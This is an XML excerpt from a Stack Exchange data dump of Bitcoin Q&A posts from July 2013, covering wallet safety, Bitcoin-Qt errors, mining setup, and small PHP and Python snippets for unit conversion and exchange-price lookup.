  <row Id="12160" PostTypeId="2" ParentId="12158" CreationDate="2013-07-13T15:21:47.567" Score="5" Body="&lt;p&gt;The loss refers to a few things, all centered around the simple fact that using an online wallet creates a &lt;strong&gt;SPOF&lt;/strong&gt; (single point of failure).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider effects on your balance when:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Online wallet operator incompetence enables&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Accidental deletion of private keys for addresses in which your balance is stored.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Security vulnerabilities in proprietary code may let someone else send your balance elsewhere or store your keys for theft if and only if your balance gets large.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Online wallet operator dishonesty enables&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Operator or its government(s) to seize your balance.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Vendor lock-in if you cannot derive the private keys yourself (e.g. your password simply decrypts client-side private keys stored on the wallet service).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Theft if the Operator decides to close shop, be it a &lt;a href=&quot;https://en.wikipedia.org/wiki/Mutual_assured_destruction&quot; rel=&quot;nofollow&quot;&gt;MAD&lt;/a&gt; scenario or theft of balance once private key is exposed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;One should only use an online wallet with these features:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Service cannot derive private keys&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Private keys are stored encrypted&lt;/li&gt;&#xA;&lt;li&gt;Keys are decrypted client-side&lt;/li&gt;&#xA;&lt;li&gt;User is prompted to accept code updates&lt;/li&gt;&#xA;&lt;li&gt;User is permitted to review client-side code before accepting updates&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Service offers portability&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Once decrypted, private keys can be shown to the user&lt;/li&gt;&#xA;&lt;li&gt;User tests import to another wallet client, be it a service or fat client&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Service offers two-factor authentication&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Password and security token authentication&lt;/li&gt;&#xA;&lt;li&gt;Security token is decentralized or wholly random (RSA, Google Authenticator, etc.)&lt;/li&gt;&#xA;&lt;li&gt;Security token is hardware-based and single purpose (YubiKey)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="1409" LastEditDate="2013-07-13T15:27:07.887" LastActivityDate="2013-07-13T15:27:07.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12162" PostTypeId="2" ParentId="12132" CreationDate="2013-07-13T22:50:23.110" Score="0" Body="&lt;p&gt;Changing the protocol rules to circumvent negative effects of a 51% attack would be the nuclear option -- and becoming reliant on that method would (and should) nearly certainly kill Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gavin did mention this &quot;rule change as countermeasure&quot; though here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://gavintech.blogspot.com/2012/05/neutralizing-51-attack.html&quot; rel=&quot;nofollow&quot;&gt;http://gavintech.blogspot.com/2012/05/neutralizing-51-attack.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But an attacker knowing that this is an option means that a 51% attack resulting in profit becomes even less likely.   Essentially it is like communicating that there would be mutually assured destruction, and thus the only way to not lose is to not attack.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-07-13T22:50:23.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12163" PostTypeId="1" CreationDate="2013-07-14T00:57:15.793" Score="6" ViewCount="39709" Body="&lt;p&gt;I want a litecoin wallet to store the litecoins that I am going to buy with my bank account. I wanted to use ltc-wallet.com but when I try to go the site, it doesn't load. Also, when I went to sign up for btc-e I find &lt;a href=&quot;https://bitcointalk.org/index.php?topic=217697.0&quot;&gt;many&lt;/a&gt;, &lt;a href=&quot;https://www.bitcoinforum.com/bitcoin-exchange/btc-e-is-a-scam-with-photo-proof/&quot;&gt;many&lt;/a&gt;, &lt;a href=&quot;https://forum.litecoin.net/index.php?topic=3305.0&quot;&gt;MANY&lt;/a&gt; sites that say that Btc-e is a scam. Finally I found coinbase.com ...which also came with a plethora of &lt;a href=&quot;https://bitcointalk.org/index.php?topic=165350.0&quot;&gt;horror stories&lt;/a&gt;. Is there a LEGITIMATE site that I could use in order to store my litecoins?&lt;/p&gt;&#xA;" OwnerUserId="5210" LastActivityDate="2017-05-23T18:02:42.303" Title="Getting an online Litecoin wallet" Tags="|wallet|litecoin|" AnswerCount="8" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12165" PostTypeId="1" AcceptedAnswerId="12206" CreationDate="2013-07-14T06:33:44.883" Score="9" ViewCount="12378" Body="&lt;p&gt;So I turn on my computer this morning, and I find Bitcoin QT has quit of its own accord. &#xA;I try to turn it back on and I get this message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Bitcoin - Error System error: Database corrupted&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AFVAd.png&quot; alt=&quot;Bitcoin QT error&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm fairly sure Windows 7 restarted itself to install updates. Is this what caused the corruption?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily, I have zero bitcoins, and I've reinstalled Bitcoin QT without any problems, but this will stress me out if I want to mine bitcoins while out of town.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently, if the database is corrupted, you may have lost your wallet and all your money!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, is this true, and how can I prevent this error from appearing again? What can cause it? I've turned off windows automatic update, so that should mean we're okay? What happens in a powercut? Wish Bitcoin QT was more robust :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;update&lt;/em&gt; Even weirder, I gave the corrupted Bitcoin QT a try and for no reason at all, it started and didn't give me the error. Really scared of loosing all my money. Can someone explain what's happening? Thanks a lot guys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;update&lt;/em&gt; Nope. Dispite working, it is still corrupted. It gets stuck on 86 weeks forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried to get in via bitcoind to reindex the database:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/A1M8A.png&quot; alt=&quot;rebuild database&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried &lt;strong&gt;uninstalling everything&lt;/strong&gt; and reeboting my computer and resinstalling bitcoin-qt:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thought it was working, but the second it got onto 85 weeks remaining:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kOIP9.png&quot; alt=&quot;corrupted&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gentlemen, please help. Logically thinking about it, it must be the same database it's using, that somehow survived the reinstall. Maybe if someone could point me towards where this database is stored so I can delete it manually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brand new computer, 64 bit genuine windows 7. Barely any programs installed. Can't believe how flaky this open source software is. &lt;/p&gt;&#xA;" OwnerUserId="5937" LastEditorUserId="5937" LastEditDate="2013-07-15T12:58:27.370" LastActivityDate="2021-04-10T19:23:57.200" Title="Bitcoin QT error. How can I prevent corruption of database?" Tags="|bitcoin-core|" AnswerCount="7" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12166" PostTypeId="1" CreationDate="2013-07-14T06:38:50.767" Score="2" ViewCount="154" Body="&lt;p&gt;Bitcoin qt says my computer time needs to be correct for it to work properly. My time is right to the minute, but not the second. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will this cause a problem?&lt;/p&gt;&#xA;" OwnerUserId="5937" LastEditorUserId="2306" LastEditDate="2013-07-15T06:46:28.243" LastActivityDate="2013-07-15T06:46:28.243" Title="Bitcoin QT computer time" Tags="|bitcoin-core|timestamp|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12167" PostTypeId="1" AcceptedAnswerId="12176" CreationDate="2013-07-14T06:45:11.230" Score="-1" ViewCount="6554" Body="&lt;p&gt;Following this tutorial here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.newslobster.com/random/how-to-get-started-using-your-gpu-to-mine-for-bitcoins-on-windows&quot; rel=&quot;nofollow&quot;&gt;http://www.newslobster.com/random/how-to-get-started-using-your-gpu-to-mine-for-bitcoins-on-windows&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it says, &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;UPDATE&lt;/em&gt;: If you are unsure, please download GPU Caps Viewer (I recommend the portable version) to determine if you have a compatible video device and a working version of OpenCL installed. If you are using an AMD/ATI card you likely need to install the ATI APP SDK (make sure you obtain the correct version for 32/64-bit Windows).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've downloaded the SDK and installed it, but it's just sitting on my hd, doing nothing at all. I seem to be mining bit coins ok. Soft of confused as to what's going on? Thanks&lt;/p&gt;&#xA;" OwnerUserId="5937" LastEditorUserId="5406" LastEditDate="2016-03-31T16:56:56.920" LastActivityDate="2016-03-31T16:56:56.920" Title="Mining with an AMD Graphics card" Tags="|miner-configuration|gpu-mining|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12168" PostTypeId="2" ParentId="8390" CreationDate="2013-07-14T07:14:34.800" Score="6" Body="&lt;p&gt;According to an offshoot reply in bitcoin-talk it appears that the only mention of this protocol comes from Luke-Jr on Github.  Another topic on bitcoin-talk mentioned that his pool, elegeius, implements this patch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=173169.0&quot;&gt;https://bitcointalk.org/index.php?topic=173169.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the eligius FAQ page &lt;a href=&quot;http://eligius.st/~gateway/faq/following-applies-transactions-being-processed-our-blocks&quot;&gt;http://eligius.st/~gateway/faq/following-applies-transactions-being-processed-our-blocks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It mentions specifically = Transaction processing/priority contracts are available (talk to Luke-Jr).&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2013-07-14T07:14:34.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12169" PostTypeId="2" ParentId="11845" CreationDate="2013-07-14T08:14:28.900" Score="1" Body="&lt;p&gt;They did not appear fraudulent, only overpriced.&#xA;But I only made a handful of transactions.&#xA;Anyway they are closed now, my wallet is still there.&lt;/p&gt;&#xA;" OwnerUserId="5943" LastActivityDate="2013-07-14T08:14:28.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12171" PostTypeId="2" ParentId="12157" CreationDate="2013-07-14T12:04:11.283" Score="8" Body="&lt;p&gt;As you have suggested, all you need to do is to restore the wallet from your seed on each computer and you'll have all your Electrum instances synced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Labels can also be exported and imported on each PC in order to avoid having to re-write them; or you can use the plugin LabElectrum (Label Sync) to store them in the cloud and update them at your convenience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transactions will remain synced as they are received from the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imported keys are not derived from your seed, so you'll need to manually import them on each computer. Or if you have many imported keys you can copy the electrum.dat file to each computer you'll use. &lt;/p&gt;&#xA;" OwnerUserId="2467" LastEditorUserId="5406" LastEditDate="2013-08-25T18:14:30.120" LastActivityDate="2013-08-25T18:14:30.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12172" PostTypeId="2" ParentId="12136" CreationDate="2013-07-14T14:29:17.723" Score="0" Body="&lt;p&gt;Primecoin defaults to the wallet in .primecoin/wallet.dat, which it creates the first time it is run.  You should be able to transfer funds from the primecoind wallet to another one easily enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multibit is a Bitcoin wallet, a different currency to Primecoin.&lt;/p&gt;&#xA;" OwnerUserId="5918" LastActivityDate="2013-07-14T14:29:17.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12173" PostTypeId="1" CreationDate="2013-07-14T18:18:43.367" Score="5" ViewCount="13376" Body="&lt;p&gt;I am having PHP calculation problems (I think - i am reasonably new to PHP).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function convertToBTCFromSatoshi($value){&#xA;    $BTC = ($value / 100000000 );&#xA;    return (float)$BTC;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If $value = 10000 the result is correct of &quot;0.0001&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet if $value = 5000 the result is &quot;-5.0E-5&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas please :-)&lt;/p&gt;&#xA;" OwnerUserId="5866" LastEditorUserId="105" LastEditDate="2013-07-20T11:05:33.707" LastActivityDate="2022-06-17T03:57:28.697" Title="Converting satoshis to bitcoins issue using PHP" Tags="|php|" AnswerCount="7" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12174" PostTypeId="2" ParentId="331" CreationDate="2013-07-14T18:44:58.293" Score="2" Body="&lt;p&gt;Here's one approach:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=108888.0&quot; rel=&quot;nofollow&quot;&gt;Least action principle as an alternative proof of work system&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.scipr-lab.org&quot; rel=&quot;nofollow&quot;&gt;Succinct Computational Integrity and Privacy Research (SCIPR)&lt;/a&gt; is possibly another area. &lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-09-29T05:57:49.727" LastActivityDate="2013-09-29T05:57:49.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12175" PostTypeId="2" ParentId="12173" CreationDate="2013-07-14T19:48:38.147" Score="1" Body="&lt;p&gt;The calculation is correct, but it becomes wrong when it shows the result to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codepad.org/Akk7Y616&quot; rel=&quot;nofollow&quot;&gt;Code&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function convertToBTCFromSatoshi($value) {&#xA;    $BTC = $value / 100000000 ;&#xA;    return $BTC;&#xA;}&#xA;function formatBTC($value) {&#xA;    $value = sprintf('%.8f', $value);&#xA;    $value = rtrim($value, '0') . ' BTC';&#xA;    return $value;&#xA;}&#xA;echo formatBTC(convertToBTCFromSatoshi(5000));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0.00005 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2013-07-14T19:54:23.793" LastActivityDate="2013-07-14T19:54:23.793" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12176" PostTypeId="2" ParentId="12167" CreationDate="2013-07-14T22:28:28.237" Score="4" Body="&lt;p&gt;If you are mining bitcoins successfully, then don't worry about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no need to install the SDK. OpenCL drivers are included with AMD's Catalyst drivers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that solomining on a GPU could mean you never make a single coin. It may look like now that it will take a couple years, but by that time the difficulty is much higher. Unless you are very lucky, you may never get anything at all. Try mining in a pool instead and think about getting ASIC.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-07-14T22:28:28.237" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12182" PostTypeId="2" ParentId="12166" CreationDate="2013-07-15T04:21:23.643" Score="1" Body="&lt;p&gt;Bitcoin-Qt/bitcoind will reject new blocks whose timestamp is more than a couple hours  ahead of the previous block.  This means you could be nearly two hours behind and your node would still accept most new blocks.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-07-15T04:21:23.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12184" PostTypeId="2" ParentId="10379" CreationDate="2013-07-15T08:08:22.793" Score="1" Body="&lt;p&gt;You can use blockchain.info to get information about your address, then use the Export History option in the dropdown menu (slightly confusingly marked 'Filter') to export to CSV.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't do exactly what you ask for, but has one line per transaction. I'm having difficulty picturing how it would work with one line per address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The address for querying addresses is &lt;a href=&quot;https://blockchain.info/address/1youraddressgoeshere&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1youraddressgoeshere&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3210" LastActivityDate="2013-07-15T08:08:22.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12185" PostTypeId="2" ParentId="12173" CreationDate="2013-07-15T11:26:40.247" Score="4" Body="&lt;p&gt;You should use &lt;a href=&quot;http://php.net/manual/en/book.bc.php&quot; rel=&quot;nofollow&quot;&gt;bcmath&lt;/a&gt;, because PHP's native calculations won't fit your needs. &lt;/p&gt;&#xA;" OwnerUserId="5963" LastEditorDisplayName="user3930" LastEditDate="2013-07-15T15:04:43.627" LastActivityDate="2013-07-15T15:04:43.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12187" PostTypeId="1" CreationDate="2013-07-15T13:11:22.510" Score="2" ViewCount="4692" Body="&lt;p&gt;I need to manually resync from scratch due to a database corruption caused by windows auto-rebooting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is the blockchain stored so I can delete it (and hopefuly prompt bitcoin qt from creating a new one)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12165/bitcoin-qt-error-how-can-i-prevent-corruption-of-database&quot;&gt;Bitcoin QT error. How can I prevent corruption of database?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5937" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-08-16T00:09:01.627" Title="Where is bitcoin-qt's blockchain stored in Windows 7?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12188" PostTypeId="2" ParentId="12039" CreationDate="2013-07-15T13:54:17.943" Score="0" Body="&lt;p&gt;Turns out there is a Bitcoin.it wiki site dedicated to this topic: &lt;a href=&quot;https://en.bitcoin.it/wiki/Free_transaction_relay_policy&quot; rel=&quot;nofollow&quot;&gt;Free transaction relay policy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the only mining pool is eligius that accepts below standard fee transactions. Hopefully there is more to come :)&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2013-07-15T13:54:17.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12190" PostTypeId="1" CreationDate="2013-07-15T20:56:01.883" Score="4" ViewCount="730" Body="&lt;p&gt;I have a small business in doing repairs and I'm willing to take bitcoin, but i was wondering if there is a site that aggregates all the bitcoin exchange prices so I can get an idea of what price to charge in bitcoins to avoid the day to day volatility. Yes i know i can use bitpay, but I want to be able to just take bitcoin myself and come up with my own merchant rate that i choose and feel comfortable with.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-09-29T22:19:00.153" Title="Is there some website that aggregates all the Bitcoin exchange prices so small businesses can find out the current market rate and react accordingly?" Tags="|exchange-rate|bitpay|" AnswerCount="4" CommentCount="1" ClosedDate="2013-09-20T06:18:59.100" ContentLicense="CC BY-SA 3.0" />
  <row Id="12192" PostTypeId="2" ParentId="12190" CreationDate="2013-07-15T23:10:49.853" Score="3" Body="&lt;p&gt;bitcoincharts.com is one of the more popular ones:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoincharts.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2013-07-15T23:10:49.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12193" PostTypeId="2" ParentId="12190" CreationDate="2013-07-15T23:29:14.840" Score="0" Body="&lt;p&gt;I have written a Python program that looks at bitcoinchart's API and finds the median price. This might be useful if you wanted to automatically adjust prices in an online store.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import urllib2&#xA;import json&#xA;&#xA;def average(l):&#xA;    return sum(l)/float(len(l))&#xA;#From fraxel&#xA;def median(mylist):&#xA;    sorts = sorted(mylist)&#xA;    length = len(sorts)&#xA;    if not length % 2:&#xA;        return (sorts[length / 2] + sorts[length / 2 - 1]) / 2.0&#xA;    return sorts[length / 2]&#xA;&#xA;currency = &quot;USD&quot;&#xA;url = &quot;http://api.bitcoincharts.com/v1/markets.json&quot;&#xA;result = urllib2.urlopen(url).read()&#xA;prices = json.loads(result)&#xA;&#xA;&#xA;def by_currency(symbol):&#xA;    def f(ticker):&#xA;        return ticker['currency'] == symbol&#xA;    return f&#xA;def by_volume(min_volume):&#xA;    def f(ticker):&#xA;        return ticker['currency_volume'] &amp;gt; min_volume&#xA;    return f&#xA;def get_price(ticker):&#xA;    try:&#xA;        return average((ticker['ask'], ticker['bid']))&#xA;    except:&#xA;        pass&#xA;    print ticker&#xA;    raise Exception(&quot;Can't find price in ticker&quot;)&#xA;&#xA;# Avoid prices in wrong currencies&#xA;prices = filter(by_currency(currency), prices)&#xA;# Exclude small exchanges&#xA;prices = filter(by_volume(100), prices)&#xA;prices = map(get_price, prices)&#xA;&#xA;&#xA;single_price = median(prices)&#xA;print single_price&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-09-29T22:19:00.153" LastActivityDate="2014-09-29T22:19:00.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12197" PostTypeId="2" ParentId="11392" CreationDate="2013-07-16T02:09:11.777" Score="-2" Body="&lt;p&gt;I am not sure lending is a good idea for bitcoin, or at least not if the amount to be paid back was to be paid in bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many of the problems with the current banking system of how &quot;the small people&quot; get into trouble is due to lending and the very immoral interest system, that also increase to a higher % depending on how little funds you have available.&#xA;Interest would be an even bigger problem in a currency with a fixed amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;An example would be:&lt;/strong&gt;&#xA;Person A want to borrow 10.5 million bitcoins .&#xA;AND&#xA;person B also wants to borrow 10.5 million Bitcoins.&#xA;Both person A and Person B promise to pay the lender 10% interest, yet there is only every going to exist 21 million bitcoins. &#xA;However person A and person B have made a promise to pay back a total of 23.2 million bitcoins..... one of them is not going to have a good time!&#xA;Ultimately the bank is not going to receive all the interest they were relying upon and will eventually need bailing out by our governments, so they can continue to trade and pay their staff high wages.....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course there is more people than just person A and person B and they will never be able to borrow half of the economy on their own. There is also more than 1 bank that will be lending.&#xA;However on paper the calculations are the same, but as more people and more banks are thrown into the equation the time scales increase to cover many years, yet the inevitable will still happen as no matter how much good intention there is to repay the loans the fact is there is more owed than exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is just the same with Fiat, although more money can be printed to cover this short fall, but that only serves to decrease the value of the money in our pockets unless our country can manage to take money from another country. BUT again the inevitable will happen and a country will soon no longer be able to afford to pay its own debts so it now having to borrow to cover its short falls... and eventually they will not be able to reply the loan that they have taken from your/our country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter how you work out the calculations the inevitable will always == FUCKED!&#xA;The best result possible is to postpone the inevitable for a few more years or past our generation...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think Bitcoin could well be the answer to our broken financial systems, but if all bitcoin tries to do is imitate an already broken system, it will make it no different from the dollar or pound, as 110% of it will be controlled by large institutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;loans and interest are NOT a good thing and while banks say they offer us these loans owing to them being good people and wanting to help &quot;the small people&quot; they are in fact doing it to help themselves only, and intend to postpone the inevitable past the point of their pay day!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;The Monkey may very well have got it right with bitcoin, dont break it now!&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ford&lt;/p&gt;&#xA;" OwnerUserId="5866" LastActivityDate="2013-07-16T02:09:11.777" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12198" PostTypeId="2" ParentId="12165" CreationDate="2013-07-16T05:48:39.293" Score="0" Body="&lt;p&gt;I suggest you to use Bitcoin qt version 0.8.3,&#xA;and run it as Administrator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And check whether there are some APP prevent QT &#xA;to create data on Windows User Files.&lt;/p&gt;&#xA;" OwnerUserId="5974" LastActivityDate="2013-07-16T05:48:39.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12199" PostTypeId="1" CreationDate="2013-07-16T05:58:36.787" Score="-1" ViewCount="151" Body="&lt;p&gt;Version 0.8.1's lowest fee is 0.0005.&#xA;Now the version 0.8.3's lowest fee is 0.0001.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 million transaction would cost nearly 100 BTC.&#xA;They can't just disappear.&#xA;Where are they?&lt;/p&gt;&#xA;" OwnerUserId="5974" LastActivityDate="2013-07-16T18:17:01.067" Title="I am curious about that where will the transaction fees go to finally?" Tags="|transactions|transaction-fees|news-coverage|exchange-fees|" AnswerCount="1" CommentCount="0" ClosedDate="2013-07-29T02:56:43.947" ContentLicense="CC BY-SA 3.0" />
  <row Id="12200" PostTypeId="2" ParentId="3614" CreationDate="2013-07-16T07:07:50.720" Score="5" Body="&lt;p&gt;LocalBitcoins.com has person-to-person PayPal trading:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://localbitcoins.com/buy-bitcoins-online/paypal&quot; rel=&quot;nofollow&quot;&gt;http://localbitcoins.com/buy-bitcoins-online/paypal&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://localbitcoins.com/sell-bitcoins-online/paypal/&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/sell-bitcoins-online/paypal/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also discussion forums where people frequently discuss about PayPal, avoiding fraud there, etc. Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://localbitcoins.com/forums/#!/trading#getting-paypal-scammedive&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/forums/#!/trading#getting-paypal-scammedive&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LocalBitcoins.com has also trusted buyers list where you can set your trading parties trusted and make trading offers available only for them (to avoid scammers).&lt;/p&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="5464" LastEditDate="2013-07-16T07:13:06.057" LastActivityDate="2013-07-16T07:13:06.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12201" PostTypeId="1" CreationDate="2013-07-16T07:18:21.800" Score="1" ViewCount="4463" Body="&lt;p&gt;I've graciously been given a big opportunity with a server infrastructure to work with, and I'd like to start it off by starting some Bitcoin mining, however there's a catch. These servers I have access to have all internet access blocked other then the SSH connection that I make in to the machines. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any bit of software that for example, can receive the piece of a block to solve on my main machine at home, and send it off to these servers through SSH to solve, then send it back?&lt;/p&gt;&#xA;" OwnerUserId="5975" LastEditorUserId="5406" LastEditDate="2016-03-16T10:20:47.540" LastActivityDate="2019-10-03T10:16:02.707" Title="BitCoin Miner - Remote Miners with SSH Access only" Tags="|miner-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
